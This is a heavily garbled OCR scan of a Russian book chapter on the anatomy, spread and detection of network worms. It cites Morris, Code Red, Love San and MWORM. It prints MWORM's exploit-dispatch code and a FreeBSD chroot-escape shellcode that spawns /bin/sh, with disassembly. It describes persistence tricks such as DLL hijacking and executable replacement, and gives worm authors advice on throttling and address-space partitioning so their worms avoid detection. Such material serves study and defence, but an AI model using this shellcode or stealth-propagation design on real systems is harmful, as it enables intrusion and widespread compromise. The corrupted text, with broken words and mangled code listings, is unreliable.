т0Гд!11Ь2Тается проникнуть червь Love San (или что-то очень на него похожее), самая ,11ЛмаУ3ер выбрасывает на экран следующее окно (рис. 3.1). Та же 1РТНна наблюдается и у двух других моих провайдеров.
94 Глава 3. Жизненный цикл ц Sygate Personal Firewall 01Л 4/2004 23:09:06 -Generic Ной Process fofV$i32 Services rs bring connected by the rernotern^ine’pSK 1681.S:1 Dj using-local pb$ 135 (EPMAP^’.pCE «.-.dpoirft resddiwl Cto-ycwwant to aBo^ ths ptogiarri Iq access 1Ьёгкй«оЙ<?::; : </- "" • •’ ’ • •' ••' ' '' Б: •: r* fiemambte rnyahcwer. and do noEask ги? ^dhfor’fe^Sc^on. Yes- Ы<э’ Waited гФхгтиЯюп d Gem;k н.;$> Process for Win32 Services and the cmiacUonft is hying to eaat-ush Fiie:¥et^n:.5-.:‘ Fiie;-t>feAcrip«4&n : File Path :;”"z Г • : 5> 0U 2134.1 Generic Host Process for Ulr.32 Services C: WTWB sys te»32\ svehost- exe 1E4 (fiexnaal) 484 (TeciKal) remote initiated 192.166,16. et 13S:W I«T ml; : ^cn. •92.166.16. J. i К i-.f |||£xjt,epiec. Рис. 3.1. Кто-то упорно ломится на 135 порт, содержащий уязвимость... И хотя активность червя неуклонно снижается (пару месяцев назад атака про- исходила буквально каждый час-полтора), до празднования победы еще дале- ко. Червь жил, живет и будет жить! Вызывает уважение тот факт, что автор черв* не предусмотрел никаких деструктивных действий, в противном случае ушеро оказался бы невосполнимым, и всей земной цивилизации сильно поплохело он- А сколько дыр и червей появится завтра? Было бы наивно надеяться, что это» главой можно хоть что-то исправить, поэтому после долгих колебаний, сомнв ний и размышлений я решил ориентировать ее не только па лояльных снеге’51 тиков, но и на... вирусописателей. А что, давал же Евгений Касперский совет1, авторам вирусов, предваряя свою статью такими словами: Успокойтесь! Не надо готовить ругательства или, наоборот, потиру руки. Мы не хотим делиться своими идеями с авторами компьютер вирусов. Все значительно проще — через наши руки прошло несколь тен образцов компьютерных животных, и слишком часто в них в чалисъ одни и те же ошибки. С одной стороны, это хорошо — русы часто оказываются «маложивущими», по, с другой стор малозаметная ошибка может привести к несовместимости вирУс .(- пользуемого на компьютере программного обеспечения. В резупь вирус «вешает» систему, компьютер отдыхает, а пользователи ся в панике с криками: «Пусть хоть 100 вирусов, лишь бы комп Г работал!!!» (завтра сдавать заказ, не запускается самая люои рушка, компилятор виснет при выходе в DOS и т. п.). И все эт<> I ходит при заражении довольно безобидным вирусом. По причине
Введение, или Превратят ли черви сеть в компост? 95 и возникло желание поделиться некоторой информацией о жизни виру- са в компьютере, дабы облегчить жизнь и вам, и многочисленным «пользо- вателям» ваших вирусов. Черви, если только в них пе заложены деструктивные возможности, не толь- ко вредны, но и полезны. Вирусы — это вообще юношеская болезнь всех или практически всех программистов. Что ими движет? Желание навредить? Стремление самоутвердиться в чьих-то глазах? А может быть, простой позна- вательный интерес? Разумеется, если червь «положил» весь Интернет, его создатель должен ответить. Данная книга — не самоучитель по написанию червей. Скорее, это — детальный анализ ошибок, допущенных вирусописатс- лями. Я не призываю вас писать червей. Напротив, я призываю одуматься и не де- лать этого. Но если уж вам действительно невтерпеж, пишите, по крайней мере, так, чтобы ваше творение не мешало жить и трудиться всем остальным. ВВЕДЕНИЕ, ИЛИ ПРЕВРАТЯТ ЛИ ЧЕРВИ СЕТЬ В КОМПОСТ? — A-а, черви. Я должен как-нибудь увидеть одного из них. — Может быть, вы и увидите его сегодня. Френк Херберт. «Дюна» Если кто и разбирается в червях, так это Херберт. Ужасные создания, блестяще описанные в «Дюне» и вызывающие у читателей смесь страха с уважением, — они действительно во многом похожи на одноименных обитателей кибернети- ческого мира. И пока специалисты по информационной безопасности ожесто- ченно спорят, являются ли черви одним из подклассов вирусных программ или жеобразуют вполне самостоятельную группу вредоносных «организмов», чер- ви уже успели перепахать весь Интернет н продолжают зарываться в него с бе- шеной скоростью. Удалить же однажды зародившегося червя практически не- возможно. Забудьте о черве Морриса! Сейчас не то время, не те пропускные способности каналов и не та квалификация обслуживающего персонала. В да- Леких восьмидесятых с заразой удалось справиться лишь благодаря небольшой (по современным меркам!) численности узлов сети и централизованной орга- низации структуры сетевого сообщества. Ачт° мы имеем сейчас? Количество узлов сети вплотную приближается к чс- ГЬ|рем миллиардам, причем подавляющим большинством узлов управляют со- нершенно безграмотные пользователи, и лишь незначительная часть сетевых Ресурсов находится в руках администраторов, зачастую являющихся все теми оезграмотными пользователями, с трудом отличающими один протокол от РУгого и во всем полагающимися на Microsoft и NT, которые «все за них сде- - зют». qT0 такое заплатки> некоторые из них, возможно, и знают, но до их уста- Вии Дело сплошь и рядом так и не доходит.
98 Глава 3. Жизненный цикл черВе умолчанию запрещает исполнение1, остается стек и куча. Стек чаще всего полняем по дефолту, а куча — нет, и для установки атрибута Executable ЧерЬр приходится «химичить» с системными функциями менеджера вирту;иц,11о' памяти. Если же голова червя получает управленце до того, как уязвимый се вис создаст новый поток или успеет расщепить процесс вызовом fork, черВ| должен обязательно возвратить управление программе-носителю, в противц0]4 случае та немедленно ляжет и получится самый натуральный DoS. При ЭТ(Л| полный возврат управления предполагает потерю власти над машиной, азна чит, и смерть червя. Чтобы не уронить систему, но и не лишиться жизни само- му, червь должен оставить свою резидентную копию или модифицировать сис- тему так, чтобы хотя бы изредка получать управление. Это легко. Первое, це самое удачное, зато элементарно реализуемое решение заключается в создании нового файла с последующим добавлением его в список автоматически запус- каемых программ. Более изощренные черви внедряют свое тело в подложную динамическую библиотеку и размещают ее в текущем каталоге уязвимого при- ложения (или просто в каталоге любого более или менее часто запускаемой; приложения). Еще червь может изменить порядок загрузки динамических биб- лиотек пли даже назначить существующим динамическим библиотекам под- ложные псевдонимы (в ОС семейства Windows за это отвечает следующий раз- дел реестра: HKLM\SYSTEM\CurrentControlSet\Control\Session Maneger\KnownDLLs). Сильно извращенные черви могут регистрировать в системе свои ловушки (hocks), модифицировать таблицу импорта процесса-носителя, вставлять в ко- довый сегмент команду перехода на свое тело (разумеется, предварительно при- своив ему атрибут Writable), сканировать память в поисках таблиц виртуаль- ных функций и модифицировать их по своему усмотрению. ВНИМАНИЕ---------------------------------------------------------—- В мире UNIX большинство таблиц виртуальных функций располагаются в области памя- ти, доступной лишь для чтения, но не для записи. Короче говоря, возможных путей здесь не по-детски много, и затеряться в гу- ще системных, исполняемых и конфигурационных файлов червю ничего nf стоит. Попутно отметим, что только самые примитивные из червей могут по зволить себе роскошь создания нового процесса, красноречиво свидетельст вующего о наличии посторонних. Печально известный Love San, кстати, отно сится именно к этому классу. Между тем, используя межпроцессорнЫ1 средства взаимодействия, внедриться в адресное пространство чужого пр° цесса ничего не стоит, равно как ничего не стоит заразить любой исполни* мый файл, в том числе и ядро системы. Кто там говорит, что операнионнь11 системы класса Windows NT блокируют доступ к запущенным исполняем^ файлам? Выберите любой понравившийся вам файл (пусть для определенно ети это будет iexplore.exe) и переименуйте его в iexplore.dll. При наличии статочного уровня привилегий (но умолчанию это привилегии администР1 1 По отношению к Windows NT это нс так, и всякий код, который только можно прочитать, по У»* чаиию можно и исполнить.
структурная анатомия червя 99 тора) операция переименования завершается успешно, и активные копии Internet Explorer автоматически перенаправляются системой к новому име- ни. Теперь создайте подложный iexplorc.exc-файл, записывающий какое-ни- будь приветствие в системный журнал и загружающий оригинальный Inter- net Explorer. Разумеется, это только демонстрационная схема. В реальности псе намного сложнее, но вместе с тем и... интереснее! Впрочем, мы отвлек- лись. Вернемся к нашему вирусу, в смысле — к червю. Укрепившись в системе, червь переходит к самой главной фазе своей жизне- деятельности — фазе размножения. При наличии полиморфного генератора, вирус создает совершенно видоизмененную копию своего тела, ну или, на ху- дой конец, просто зашифровывает критические сегменты своего тела. Отсут- ствие всех этих механизмов оставляет червя вполне боевым и жизнеспособ- ным, однако существенно сужает ареал его распространения. Судите сами, незашифрованный вирус легко убивается любым сетевым фильтром, как-то браидмаузером или маршрутизатором. А вот против полиморфных червей адекватных средств борьбы до сих пор нет, и сомнительно, чтобы они появи- лись в обозримом будущем. Распознание полиморфного кода — эта не та опе- рация, которая может быть осуществлена в реальном времени па магистраль- ных Интернет-каналах. Соотношение пропускной способности современных сетей и вычислительной мощности современных же процессоров явно не в пользу последних. 14 хотя ни один полиморфный червь до сих пор не заме- чен в «живой природе», нет никаких гарантий, что таких вирусов не появится впредь. Локальных полиморфных вирусов на платформе Intel IA-32 известен добрый десяток (речь идет о подлинном полиморфизме, а пе тривиальном замусоривании кода незначащими машинными командами и иже с ними), как говорится — выбирай, не хочу. Но какой бы алгоритм червь ни использовал для своего размножения, ново- рожденные экземпляры покидают родительское гнездо и расползаются по со- седним машинам, если, конечно, им удастся эти самые машины найти. Суще- ствует несколько независимых стратегий распространения, среди которых в первую очередь следует выделить импорт данных из адресной книги Outlook Express или аналогичного почтового клиента, просмотр локальных файлов жер- твы на предмет поиска сетевых адресов, сканирование IP-адресов текущей под- сети и генерация случайного IP-адреса. Чтобы не парализовать сеть чрезмер- ной активностью и не отрезать себе пути к распространению, вирус должен использовать пропускные способности захваченных им информационных ка- налов максимум наполовину, а лучше на десятую или даже сотую часть. Чем меньший вред вирус наносит сетевому сообществу, тем позже он оказывается обнаруженным и тем с меныпей поспешностью администраторы устанавлива- ют соответствующие обновления. Установив соединение с предполагаемой жертвой, червь должен убедиться в на- личии необходимой ему версии программного обеспечения и проверить, нет ли на этой системе другого червя. В простейшем случае идентификация осуще- ствляется через рукопожатие. Жертве посылается определенное ключевое сло- во, внешне выглядящее как безобидный сетевой запрос. Червь, если он только
100 Глава 3. Жизненный ч там есть, перехватывает пакет, возвращая инициатору обмена другое кЛ101 слово, отличное от стандартного ответа незаражеппого сервера. Механизм °е копожатия — это слабейшее звено обороны червя, конечно, при условии червь безоговорочно доверяет своему удаленному собрату. А вдруг это кой не собрат, а его имитатор? Это обстоятельно очень беспокоило Роберта]^ 3 риса, и для борьбы с возможными имитаторами червь был снабжен механи* мом, который по замыслу должен был в одном из семи случаев игпорир0Ва3 признак червя, повторно внедряясь в уже захваченную машину. Однако вы бранный коэффициент оказался чересчур «параноическим», и уязвимые уз^ инфицировались многократно, буквально киша червями, съедающими все про цессорное время и всю пропускную способность сетевых каналов. В конечном счете вирусная атака захлебнулась сама собой, и дальнейшее распространен® червя стало невозможным. Чтобы этого не произошло, всякий червь должен иметь внутренний счетчик уменьшающийся при каждом успешном расщеплении и при достижении нуля подрывающий червя изнутри. Так или приблизительно так устроен любой жи- вой организм, в противном случае нашей биосфере давно бы наступил конец. А сеть Интернет как раз и представляет собой великолепную модель биосферы в натуральную величину. Поэтому — хотим мы того или нет — программный код должен подчиняться объективным законам природы, не пытаясь идти ей наперекор. Это все равно бесполезно. Кстати говоря, анатомическая схема червя, описанная выше, не является не общепринятой, ни единственной. Мы выделили в черве два основных компо- нента — голову и хвост. Другие же исследователи склонны рассматривать чер- вя как организм, состоящий из пасти, именуемой непереводимым термином enabling exploit code {отпирающий эксплоитный код)', механизма распростра- нения (propagation mechanism) и полезной нагрузки (payload), ответственной» выполнение тех или иных деструктивных действий. Принципиальной разни- цы между различными изображениями червя, разумеется, нет, но вот термин0 логической путаницы предостаточно. В листинге 3.1. показаны пять голов червя MW0RM, поражающие множеств уязвимых сервисов. Листинг 3.1. Пять голов червя MW0RM / switch(Iptr->h_port) { case 80: //web hole Handl e_Port_80 (sock. 1 net_n toa (s i n. si n_addr). I ptr): break: case 21: // ftp hole if (Handle_Port_21(sock.inet_ntoa(sin.sin_addr).Iptr)) { pthread_mutex_lock(&ndone_mutex): wuftp260_vuln(sock. inet_ntoa(sin.sin_addr). Iptr); pthread_nutex_unlock(&ndone_mutex);
101 струК17Рн^яанатомиячервя } break: case Ш - /7rpc hole т f (Handle_Port_STATUS(sock.inet_ntoa(sin.sin_addr).Iptr)) { pthread_mutex_lock(&ndone_mutex): // rpcSTATUS_vuln( inet_ntoa(sin.sin_addr). Iptr): pth read jnutex_unlock(&ndone_mutex): } break: case 53: 7/linux bind hole 7/ Check_Linux86_Bind(sock. inet_ntoa(sin. sinaddr). Iptr->h_network): break: case 515: //1inux Ipd hole // Get_OS_Type(Iptr->h_network. inet_ntoa(sin.sin_addr)): /7 Check_lpd(sock.inet_ntoa(sin.sin_addr).Iptr->h_network); break: default: break; Перед нами «шея» червя, которая, собственно, все эти головы и держит, со- вершая ими вращательные движения, при необходимости изрыгая огонь и пламя... А голова червя и ее дизассемблерный листинг показаны далее (ли- стинги 3.2 и 3.3). Листинг 3.2. Одна из голов червя MW0RM и ее дизассемблерный листинг /* break chroot and exec /bin/sh - (font use on an unbreakable host like 4.0 */ unsigned char x86_fbsd_shell_chroot[] = "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80" "\x31\xc0\x99" "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd" "\x80\x54\x6a\x3d\x58\xcd\x80\x66'.x68\x2e\x2e\x88\x54" "\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53'' "\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69'' "\x6e\x89\xe3\x52\x89\xe2\x53\x89\xel\x52\x51\x53\x53" "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80": Листинг 3.3. Дизассемблерный листинг одной из голов червя MW0RM data: 0804F7E0 x86_fbsd__shel 1 _chroot : data:0804F7EO xor eax. eax data:0804F7E2 push eax data-.0804F7E3 push eax data:0804F7E4 push eax data.0804F7E5 mov al. 7Eh data:0804F7E7 int 8Qh LINUX - sys_sigprocmask Продолжение &
102 Глава 3. Жизненный Листинг 3.3 {продолжение) data 0804F7E9 xor eax. eax data 0804F7EB cdq data 0804F7EC push 68b data 0804F7EE mov ebx. esp data 0804F7F0 push eax data 0804F7F1 push ebx data 0804F/F2 push ebx data 08C4F7F3 mov al. 88h data 0804F7F5 int 80h ; LINUX - syspersonality data 0804F7F7 push esp data 0804F7F8 push 3Dh data 0804F7FA pop eax data 0804F7FB int 8 Oh ; LINUX - sys_chroot data 0804F7FD push small 2E2Eh data 0B04F801 mov [esp+2]. dl data 0804F805 mov ebx. esp data 0804F807 push OCh data 0804F809 pop ecx data 0804F8CA mov ebx. esp data 0804F80C data 0804F80C loc_804F80C: CODE XREF: ,data:0804F813j data 0804F8CC push OCh " data 08C4F80E pop eax data 0804F8GF push ebx data 0804F810 push ebx data 0804F811 int 80h ; LINUX - sys_chdir data 0804F813 loop ’ioc_804F80C data 0804F815 mov Zesp+1], dl data C804F819 DuSh esp data 0804F81A push 3Dh data 0804F81C pop eax data 0804F81D int 80n : LINUX - sys_chroot cata 0804F81F push edx data 0804F820 push 68732F6Eh data 0804F825 inc esp data 0804F826 push 6E69622Fh data 0804F82B mov ebx. esp data 0804-82D push edx data 0804F82E mov edx. eso data 0804F830 push ebx data 0804F831 mov ecx. esp data 0804F833 push edx data 0804F834 push ecx data 0804F835 pusn ebx data 0804F836 push ebx data 0804F837 pjsn 3Bh data 0804F839 poo eax
103 пгтоанения червей int 80h .,ta:0804F83A lta:°8()4F83C d(Sta.0804F83E ita:O884f84° xor eax. eax inc int al 80h ; LINUX - sys_olduname : LINUX - sys_exit механизмы распространения червей принято называть логические ошибки в программном обеспечении, в ре- Д^птс которых жертва приобретает возможность интерпретировать исходные е как исполняемый код. Наиболее часто встречаются дыры двух следующих типов' ошибки переполнения буфера (buffer overflow) и ошибки фильтрации ин- терполяционных символов или символов-спецификаторов. JI хотя теоретики от безопасности упорно отмахиваются от дыр, как от досад- ных случайностей, нарушающих стройность воздушных замков абстрактных защитных систем, даже поверхностный анализ ситуации показывает, что ошибки проектирования и реализации носят сугубо закономерный характер, удачно обыгранный хакерами в пословице: «Программ без ошибок не бывает. Быва- ет - плохо искали». Особенно коварны ошибки переполнения, вызываемые (или даже можно сказать — провоцируемые) идеологией господствующих языков и парадигм программирования. Подробнее об этом мы поговорим в следующей главе; пока же отметим, что ни одна коммерческая программа, насчитывающая более десяти-ста тысяч строк исходного текста, не избежала ошибок перепол- нения. Через ошибки переполнения распространялись черви Морриса, Unux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San и огромное множество остальных менее известных вирусов. Список свежих дыр регулярно публикуется на ряде сайтов, посвященных ин- формационной безопасности (крупнейший из которых — www.bugtraq.org) и на Не СТРаничках отдельных хакеров. Заплатки на дыры обычно выходят спустя кот ' ИЛИ Даже месяП после появления открытых публикаций, однако в ие- РошепГ СЛучаях ВЫХ°Д заплатки опережает публикацию, так как правила хо- аотого°ТОНа ДИКТУЮТ ВоздеРживаться от распространения информации вплоть поиск ' П°Ка противоядие не будет найдено. Разумеется, вирусописатсли ведут олнпй^Р И сам°стоятельно, однако за все время существования Интернета ни 0^ ДЫРЬ1 ими найдено не было. анокдот-П с*°ЛИ ~ Это стоящий бич всякой системы безопасности. Помните w°rd»ne Кажи пароль! — Пароль!»? Шутки шутками, но пароль типа «pass- 1ЧЫ Попу?К УЖ И °РИгпнален. Сколько пользователей доверяют защиту систе- ^Ц1евалСяРНЫМ СловаРным словам (в стиле Супер-Ниндзя, Шварценеггер-Раз- ПреДставЛя И Щ„ваРценеггеР-Продолжает-Бушевать) или выбирают пароль, Н°^'ДВуМя Щи 11 тобой слегка модифицированный логин (например, логин с од- дДНихИИ(Ь '1ИФрами на конце)? Про короткие пароли, пароли, состоящие из с Ьедь Нема' И Пароли’ полностью совпадающие с логином, мы вообще молчим, ^пт даа?е Ое количество систем вообще не имеют никакого пароля! Суще- опециальные программы для поиска открытых (или слабо защи-
104 Глава 3. Жизненны^, щенпых) сетевых ресурсов, львиная доля которых приходится ца j10k.( сети мелких фирм и государственных учреждений. В силу ограничен^ нансов содержать более или менее квалифицированного администрат не могут и о необходимости выбора надежных паролей, судя по всему, да-и' догадываются (а может быть, просто ленятся — кто их знает). 11 Первым (а на сегодняшний день и последним) червем, использующим низм подбора паролей, был и остается вирус Морриса, удачно ко.мбинир щий словарную атаку с серией типовых трансформаций имени жертвы^, ходпое имя пользователя, удвоенное имя пользователя, имя польз0Вате1 записанное задом наперед, имя пользователя, набранное в всРхне.м/НцЯ11)й регистре и т. д.). И эта стратегия успешно работала! Червь Nimda использует намного более примитивный механизм распростри ния, проникая лишь в незапаролениые системы, что удерживает его от необуз- данного распространения, поскольку пустые пароли занимают Незначительна процент от всех слабых паролей вообще. Конечно, со времен Морриса многое изменилось, и в мире наблюдается тевден- ция к усложнению паролей и выбору случайных, бессмысленных последователь ностей. Но вместе с этим растет и число пользователей, — администраторы ока- зываются просто не в состоянии за всеми уследить и проконтролировав правильность выбора пароля. Поэтому атака по словарю по-прежнему остаето актуальной угрозой. Открытые системы. Открытыми мы будем называть такие системы, которьт беспрепятственно позволяют всем желающим исполнять на сервере своп соб- ственный код. К этой категории преимущественно относятся службы бесплат- ного хостинга, предоставляющие telnet, perl и возможность установки исхода щих TCP-соединений. Существует гипотетический вирус, который поражай такие системы одну за другой и использует их в качестве плацдарма для атас- на другие системы. В отличие от узлов, защищенных слабыми (отсутствующими) паролями-в-“ делец открытой системы умышленно предоставляет всем желающим свобсь пый доступ, пускай и требующий ручной регистрации, которую, кстати сказа-’ можно и автоматизировать. Впрочем, ни один из известных науке червей использует этот механизм, поэтому дальнейший разговор представляется вершенно беспредметным. Человеческий фактор. О пресловутом человеческом факторе можно го^’Р^ много. Но не буду. Это вообще пе техническая, а сугубо организационная блема. Как бы ни старалась Microsoft и конкурирующие с нею компаН»11^ защитить пользователя от себя самого, не урезав при этом функциональ**^. системы до уровня бытового видеомагнитофона еще никому не удавалось- когда не удастся. Паскаль, известный тем, что не позволяет вам выстрел11*1^ в ногу, значительно уступает но популярности языкам Си и Си++, тем я которые позволяют отстрелить вам обе ноги вместе с головой вприда4-' когда вы этого не планируете. Так что, тенденция, однако!
105 ^затерр^!?—-------------—----- g0pb6A ЗА ТЕРРИТОРИЮ — Какой величины территорию должен контролировать каждый червь? — Это зависит от размеров червя. Френк Херберт. «Дюна» Жизнь червя - это непрерывная борьба за свое существование. Однажды по- пав в Интернет, червь сталкивается с проблемами захвата системных ресурсов , 1р0||цтания), освоения новых территорий (поиска подходящих узлов для за- ражения), обороны от хищников и прочих «млекопитающих» (брандмаузеров, антивирусов, администраторов и т. д.), попутно решая задачу внутривидовой конкуренции. В этой агрессивной среде выживает лишь хорошо продуманный п тщательно спроектированный высокоинтеллектуальный код. Подавляющее большинство червей умирает вскоре после рождения, и лишь считанным виру- сам удается вспыхнуть крупной эпидемией. Почему? Из школьного курса био- лопш нам известно, что безудержный рост численности любой популяции все- гда заканчивается ее гибелью, ведь питательные ресурсы отнюдь не безграничны. Предел численности червей естественным образом регулируется пропускной способностью Интернет-каналов, емкостью оперативной/дисковой памяти и быстродействием процессоров. Влияние фактора скорости размножения па жизнеспособность вируса иссле- довалось еще в пионерских работах Ральфа Бургера. Уже тогда было ясно, что вирус запросто может заразить все файлы локальной машины за один присест (про сетевых червей, в силу отсутствия последних, речь тогда попросту не шла), однако это сделает факт заражения слишком заметным, и тогда судьба вируса окажется предрешена (паническое форматирование жесткого диска «на низ- ком уровне», полная переустановка всего программного обеспечения, ну, в об- щем, вы меня понимаете). Кроме того, на чувственном (sense) уровне такой вирус '"«’Росту неинтересен. ^‘'осмотрим крайний случай. Пусть наш вирус совершает единственный акт ‘‘Ряжения в своей жизни. Тогда рост численности популяции будет носить п ,НЫИ хаРактер, продолжающийся до тех пор, пока загрузка системы не ЖенцяСИТ НеК0Т°РУЮ КРПТИЧССКУЮ величину, после которой скорость размно- «ессо ВИруСа ,1ачнет неуклонно падать. В конце концов вирус сожрет все про- тема ресурсы’ всю оперативную и всю дисковую память, после чего сис- «а пр- °нчательно встанет и — процесс размножения прекратится. Впрочем, тывает ИКе Д° эгого Дело обычно не доходит, и владелец компьютера спохва- Пери0дТаЧИТСЛЬНО РаПЬШе- "«РУса и роТекаюШий от момента первого заражения до момента обнаружения "‘'Ри04Ц° 11СТ11ПИчи°й активности системы, условимся называть латентным ^ч^н^Разл,,Южения червя. Чем большее количество узлов будет заражено Г,'’Р прав ,ТО“!,1!реме11и, тем большие шансы на выживание имеет червь. Вщ. ильпой стратегии размножения на самом деле очень важен. Причина
106 Глава 3. Жизненный^ вымирания большинства червей как раз и заключается в непродуМан1| множенин. Чаще всего исходный червь расщепляется на два. На два иг М вя, готовых к дальнейшему размножению. В следующем поколении • вей будет уже четыре, затем восемь, потом шестнадцать, тридцать два и по возрастающей... Наглядной физической демонстрацией этого процес жит атомная бомба. И в том, и в другом случае мы имеем дело с цеп1К)1“ цией, отличительной особенностью которой служит ее взрывной харап- первых порах увеличение численности вирусной популяции происходит медленно, что им можно полностью пренебречь, но при достижении иеко критической массы происходит своеобразный взрыв, и дальнейшее размно^ пне протекает лавинообразно. Через короткий отрезок времени — дни н-тцд^ считанные часы — червь поражает практически все уязвимые узлы сети после чего его существование становится бессмысленным, и он умирает, раздавлен ный руками недобрых администраторов, разбуженных часов эдак в нятьутр^ А черви, в силу всепланетной организации Интернета, имеют тенденцию со- вершать атаки в самое неудобное с физиологической точки зрения время. При условии, что выбор IP-адреса заражаемой жертвы происходит по более или менее случайному закону (а большинство червей распространяются имен- но так), по мере насыщения сети червем скорость его распространения неук- лонно снижается, и вовсе не потому, что магистральные каналы оказываются перегруженными! Попробуйте сгенерировать последовательность случайных байт и подсчитайте количество шагов, требующихся для полного покрытиявсея области от 00h до FFh. Очевидно, что за 10011 шагов осуществить задуманное нам ни за что не удастся. Если только вы не будете жульничать, один и те же байты будут выпадать многократно, в то время как другие останутся не выпав- шими ни разу! И чем больше байт будет покрыто, тем чаще станут встречала повторные выпадения! Аналогичным образом дело обстоит и с размножений вируса. На финальной стадии размножения полчища червей все чаше У- стучаться в уже захваченные компьютеры, и гигабайты сгенерированно трафика окажутся сгенерированными впустую. Для решения этой проблемы червь Морриса использовал несколько 1гсза\ мых механизмов. Во-первых, па каждой из зараженных машин он извл сок доверенных узлов, содержащихся в файлах/etc/hosts.equivn /-г 0 же файлы .forward, содержащие адреса электронной почты. То есть адреса уже не были случайными — это раз. Отпадало большое количсс шествующих узлов — это два. Количество попыток повторного я,у’1С|10дь^' ния сводилось к разумному минимуму — это три. Подобную тактик} ют многие почтовые черви, обращающиеся к адресной книге Out о И эта тактика очень неплохо работает! На сайте корпорации Syman любопытная утилита — VBSim (Virus and Worm Simulation System)’^ ющая сравнительный анализ эффективности червей различных т^ Во-вторых, различные экземпляры червя Морриса периодически о • друг с другом списком уже зараженных узлов, ходить на который Конечно, наличие каких бы то ни было средств межвируснои сП» существенно увеличивает сетевой трафик, однако, если к этому вопр0 -
борьбаза^торию__________________JL07 с vMoM, то перегрузку сети можно легко предотвратить. Заразив все уязвимые у.злЫ. червь впадет в глубокую спячку, уменьшив свою активность до миниму- ма Можно пойти и дальше, выделив каждому пз червей определенное простран- ство IP-адресов для заражения, автоматически наследуемое новорожденным потомством. Тогда процесс заражения сети займет рекордно короткое время, к при этом ни один из IP-адресов не будет проверен дважды. Исчерпав запас [P-адресов, червь обратит свои внутренние счетчики в исходное положение, вызывая вторую волну заражения. Часть ранее инфицированных узлов к это- му моменту уже будет исцелена (но не залатана), а часть может быть инфици- рована повторно. Как бы там ни было, грамотно спроектированный червь вызывать перегрузку сети не должен, и лишь досадные программистские ошибки мешают привести этот план в исполнение. Внешне такой червь может показаться вполне без- опасным, и подавляющее большинство администраторов, скорее всего, проиг- норируют сообщения об угрозе (ибо негласное правило предписывает не тро- гать систему, пока опа работает). Дыры останутся незалатанными и... в один прекрасный момент Всемирная сеть рухнет. Вэтом свете весьма показателен процесс распространения вируса Code Red, В пи- ке своей эпидемии заразившего свыше 359 000 узлов в течение 24 часов. Как были получены эти цифры? Программа-монитор, установленная в локальной сети Лаборатории Беркли, перехват ывала все проходящие через нее IP-пакеты канализировала их заголовки. Пакеты, адресованные несуществующим узлам и направляющиеся на 80-й порт, были, очевидно, отправлены зараженным уз- лом (Code Red распространялся через уязвимость в MS IIS-сервере). Подсчет уникальных IP-адресов узлов-отправителей позволил надежно установить ниж- нюю границу численности популяции вируса. При желании процесс располза- ния вируса по Всемирной сети можно увидеть и в динамике (рис. 3.2) — www.caida.org/analysis/security/code-red/newframes-small-log.mov. Там же, па странице http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml, содержится текст, комментирующий происходящее зрелище. А зрелище и впрямь получи- лось впечатляющим и... поучительным. Всем, особенно разработчикам виру- сов, настоятельно рекомендую посмотреть. Быть может, это научит кое-кого не ронять сеть своим очередным... ммм... творением.
108 Глава 3. Жизненный цикл Сначала червь размножался крайне медленно, можно даже сказать - Ле( Впрочем, на поражение ключевых нервных центров сети у вируса ущ.ю в несколько часов, по истечении которых он успел оккупировать практик все развитые страны мира. Нагрузка на сеть стремительно росла, однако вайдеры с этим еще справлялись. Приблизительно через 12 часов, когда ч, вступил во взрывную стадию своего размножения, объем перекачиваемого фика скачкообразно возрос в тысячи раз, и большинство сетевых ресурсов залось недоступно, что затормозило распространение червя, но было уже здно, так как львиная часть уязвимых серверов к тому времени оказа. поражена. Испещренный характер спада кривой отражает периодическое - летание» различных сегментов Интернета, загибающихся от чудовищной грузки, и их мужественное восстановление самоотверженными админпстр рами. Вы думаете, они устанавливали заплатки? А воти нет! Через четырем когда вирус окончил свое распространение и перешел к массированной аг. на кривой наблюдается небывалый всплеск, по сравнению с которым предг: щий пик не тянет даже на жалкий холмик. 12 000 искажаемых web-странш. минуту — это ли не результат?! КАК ОБНАРУЖИТЬ ЧЕРВЯ — Это знак червя? — Червь. И большой. Френк Херберт. «Дк- Грамотно сконструированный и не слишком прожорливый программный •• обнаружить не так-то просто! Есть ряд характерных признаков червя, но они ненадежны, и гарантированный ответ дает лишь дизассемблирование. । что именно нужно дизассемблировать? В случае с файловыми вирусами более или менее ясно. Подсовываем системе специальным образом подго' ленные «дрозофиллы» и смотрим — не окажется ли какая-нибудь из них и:-' йена. Хороший результат дает и проверка целостности системных файл*’1' заранее сформированному эталону. В операционных системах семей* Windows на этот случай припасена утилита sfc.exe, хотя, конечно, специалп рованный дисковый ревизор справится с этой задачей намного лучше. Черви же могут вообще не дотрагиваться до файловой системы, оседая в он* тивной памяти адресного пространства уязвимого процесса. Распознать ' вредный код по внешнему виду нереально, а проанализировать весь слепок мяти целиком — чрезвычайно трудоемкий и затруднительный процесс, более что явных команд передачи управления машинному коду черня м°- и не быть (подробнее см. ранее раздел «Структурная анатомия червя»). Однако где вы видели вежливого и во всех отношениях корректного черг Ничуть не собираясь отрицать тот факт, что среди червей попадаются и вь|1, неинтеллектуальные разработки, созданные талантливыми и, бесспорно.1,1
109 — ими программистами, автор этой книги вынужден признать, что фесс’1°иа’ в11човленные в живой природе, содержали те или иные конструк- те черВ1’.рехп демаскирующие присутствие чего-то постороннего. г"в,11,К к чсрвя — большое количество исходящих TCP/IP-пакетов, рас- рерньп’Iip” I]0 BCeji сети и в большинстве своем адресованных несуществу- иолзак» ателяМ. Рассылка пакетов либо происходит постоянно, либо со- чиним я черСз более или менее регулярные и при том очень короткие " PIlia ки времени, например через 3-5 с. Причем соединение устанавлива- |W*6e3 использования доменного имени, непосредственно по IP-адресу. Не СЯ нализаторы трафика способны распознать этот факт, поскольку на уровне |1Т пииconnect соединение всегда устанавливается именно по IP-адресам, воз- вращаемым функцией gethostbyname по их доменному имени. [I )авда как уже отмечалось, червь может сканировать локальные файлы жерт- вы па предмет поиска подходящих доменных имен. Это может быть и адресная книга почтового клиента, и список доверенных узлов, и просто архив HTML- юкументов (странички со ссылками на другие сайты для HTTP-червей в выс- шей степени актуальны). Ну, факт сканирования файлов распознать нетрудно. 